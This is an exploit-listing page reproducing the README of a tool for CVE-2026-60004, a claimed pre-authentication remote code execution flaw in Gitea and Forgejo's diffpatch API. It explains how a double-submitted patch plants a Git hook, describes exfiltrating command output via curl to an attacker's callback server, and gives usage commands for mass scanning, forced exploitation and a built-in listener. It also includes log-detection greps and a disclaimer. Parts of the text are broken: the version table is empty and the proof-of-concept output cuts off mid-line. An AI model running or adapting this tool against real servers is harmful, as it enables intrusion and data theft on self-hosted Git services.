Sploitus

Exploit for CVE-2026-60004

githubexploit Β· 2026-08-03

Exploit Code

README193 lines
## https://sploitus.com/exploit?id=A7B73708-3856-5467-B4F9-8AD9E7925192
CVE-2026-60004 β€” Gitea Diffpatch Git Hook RCE
Bare Clone Hook Injection β†’ post-index-change β†’ Arbitrary Command Execution

---

## Overview

**CVE-2026-60004** is a critical-severity (CVSS 9.8) **pre-authentication** remote code execution vulnerability in **Gitea** and **Forgejo** self-hosted Git platforms, affecting versions **1.17 through 1.27.0**.

The vulnerability exploits a bare-clone design flaw in the `POST /api/v1/repos/{owner}/{repo}/diffpatch` API endpoint. Gitea applies user-supplied patches inside a **bare temporary clone** β€” where the repository root is `$GIT_DIR` itself. By submitting the same malicious patch twice, an attacker triggers an add/add conflict that causes Git's three-way merge fallback (`-3`, Git 2.32+) to write an executable `post-index-change` hook directly into `$GIT_DIR/hooks/`. Git executes this hook automatically during the index update, yielding arbitrary command execution under the Gitea service account.

Repository write access is required β€” trivially obtainable as Gitea defaults to open registration without email verification, admin approval, or repository creation limits.

### Affected Versions

| Version | Status |
|---|---|
|  **Discovered by:** Shai Rod (NightRang3r), July 28, 2026
> **Project:** Gitea / Forgejo (self-hosted Git service)
> **Component:** diffpatch API endpoint, bare temporary clone

---

## Vulnerability Mechanism

### Root Cause

The vulnerability originates from a single parameter in `services/repository/files/patch.go`:

```go
// VULNERABLE β€” v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}
```

In a **bare** clone there is no working tree β€” the repository root **is** `$GIT_DIR`. A malicious patch whose file path is `hooks/post-index-change` therefore lands directly inside Git's real hooks directory, not in a sandboxed working tree.

The `git apply` invocation compounds this:

```go
// VULNERABLE β€” v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}
```

### Why It Works

1. **Bare clone provides no sandbox** β€” the temp clone's root is `$GIT_DIR`, so path `hooks/post-index-change` maps to the real hooks directory.
2. **`--cached` is not airtight** β€” the `-3` three-way fallback in Git 2.32+ writes merged results to the working tree during add/add conflicts, despite the `--cached` flag.
3. **Double-submit triggers the conflict** β€” first apply adds the hook to the index. The second apply creates an add/add collision, the three-way merge writes the file to disk, and Git executes it.
4. **Git auto-executes `post-index-change`** β€” after updating the index, Git unconditionally runs this hook if it exists and is executable. No configuration needed.
5. **Hook commands CANNOT modify the index** β€” `git update-index` inside the hook deadlocks because `git apply` holds the index lock. Use HTTP callbacks (`curl`) or reverse shells for output exfiltration.

### Attack Flow

```
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository β†’ obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again β†’ add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds β†’ timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=&c=&data=
6. Callback server writes output to organized files per target
```

### Verified Source Code References

| File | Line(s) | Purpose |
|---|---|---|
| `services/repository/files/patch.go` | 195 | `t.Clone(ctx, opts.OldBranch, true)` β€” bare clone creation |
| `services/repository/files/patch.go` | 206-209 | `git apply` with `--index --cached -3` flags |
| `services/repository/files/patch.go` | 215-223 | `WriteTree()` + `CommitTree()` + `Push()` β€” persists attacker state |
| `services/repository/files/cherry_pick.go` | ~170 | Same bare-clone pattern in `CherryPick` (also fixed) |

### Server Log Detection

```
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account β†’ immediate repo creation β†’ diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
```

### Key Design Flaw

The difference between a bare and non-bare clone β€” a single boolean parameter β€” determines whether a patch path is a harmless working-tree entry or an executable hook landing directly in Git's internal directory. The fix changes exactly **one character** in the diff (`true` β†’ `false`), which is why the commit was labeled `"refactor: git patch apply"` under MISC rather than under SECURITY. The operation that was supposed to be sandboxed to the index (`--cached`) was silently broken by Git's own three-way merge machinery, and no additional guard prevented hook files from being created in the bare clone's `$GIT_DIR`.

---

## Installation

```bash
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests
```

## Usage

```bash
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen
```

### Arguments

```
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output
```

---

## Proof of Concept

### Single Target

```bash
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
```

```
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln ( The fix appeared in the 1.27.1 release notes under **MISC** as `"refactor: git patch apply"` rather than under **SECURITY**, making it easy for administrators who only scan security-related changelog entries to miss this critical update. The same bare-clone pattern in `CherryPick` was also fixed.

---

## Disclaimer

> **FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.**
>
> Do not use against systems without explicit permission from the owner. The authors assume no liability for misuse.

---

## References

| Resource | Link |
|---|---|
| Gitea Fix Commit | [470d34b](https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82) |
| Researcher | [NightRang3r](https://github.com/NightRang3r) |
| CWE-94 | [Code Injection](https://cwe.mitre.org/data/definitions/94.html) |
| Git Hook | [post-index-change](https://git-scm.com/docs/githooks#_post_index_change) |

---


  Discovered by Shai Rod (NightRang3r). Not affiliated with Gitea or Forgejo.